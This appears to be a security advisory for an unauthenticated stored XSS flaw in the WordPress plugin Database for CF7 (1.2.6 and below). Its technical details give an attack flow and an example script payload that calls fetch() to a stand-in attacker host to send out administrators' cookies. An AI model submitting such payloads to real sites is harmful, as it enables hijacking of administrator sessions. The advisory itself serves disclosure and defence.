Description

Unauthenticated Cross Site Scripting (XSS) in Database for CF7 <= 1.2.6 versions.

Executive Summary

Technical Details

Mitigations

References

Additional Metadata

{
  "score": "7.1",
  "pubDate": "2026-10-06T09:17:45.583Z",
  "pubdate": "2026-10-06T09:17:45.583Z",
  "executiveSummary": "This vulnerability is an Unauthenticated Stored Cross-Site Scripting (XSS) flaw affecting Database for CF7 versions 1.2.6 and below.\nThe vulnerability resides in the application's failure to properly sanitize user-supplied input before storing it in the database and subsequently rendering it in the administrative interface.\nBy submitting malicious scripts through contact form fields, an unauthenticated attacker can force the execution of arbitrary JavaScript within the context of a victim's browser session.\nThe primary impact involves unauthorized access to sensitive administrative sessions, potential data exfiltration, or the injection of unauthorized content into the application's management console.\nExploitation requires no authentication, making the attack vector highly accessible to remote adversaries.\nThe risk is categorized as high due to the potential for full administrative account compromise if a privileged user views the injected content.\nOrganizations using vulnerable versions are at immediate risk and should prioritize remediation to prevent persistent malicious activity within their database and administrative panels.",
  "technicalDetails": "The vulnerability is characterized as a Stored (Persistent) Cross-Site Scripting (XSS) attack. The root cause is the lack of output encoding and input validation during the data handling process between the contact form submission and the administrative database viewing interface.\nIn Database for CF7 versions 1.2.6 and below, the plugin captures data submitted via Contact Form 7 forms and stores this information directly into the database. When an administrator navigates to the plugin's dashboard to review these submissions, the stored data is rendered directly into the Document Object Model (DOM) without sufficient sanitization or context-aware output encoding.\nAn unauthenticated attacker can exploit this by crafting a malicious payload containing JavaScript, such as '<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>', and injecting it into any field processed by the form. Once the form is submitted, the payload is persisted in the database as a legitimate entry.\nThe attack flow proceeds as follows: 1) The attacker identifies a public-facing contact form managed by the plugin. 2) The attacker crafts a payload designed to execute within the context of the WordPress admin panel. 3) The attacker submits the payload through the form. 4) The plugin stores the malicious string in the database. 5) An administrator logs into the WordPress dashboard and accesses the Database for CF7 entry list. 6) The browser renders the database entries, causing the malicious script to execute in the administrator's security context.\nBecause the payload executes in the administrator's session, the script inherits the administrator's privileges. This allows the attacker to perform actions on behalf of the administrator, such as creating new user accounts, modifying system configurations, or exfiltrating sensitive session tokens (e.g., authentication cookies).\nThe vulnerability is limited to the administrative interface where the stored data is viewed; however, because this interface is frequently accessed by administrators, the likelihood of successful execution is high. The exposure is limited to the specific fields handled by the plugin, but if the plugin does not implement proper 'esc_html()' or 'wp_kses()' functions on the backend render, the entire administrative panel remains susceptible to DOM-based manipulation."
}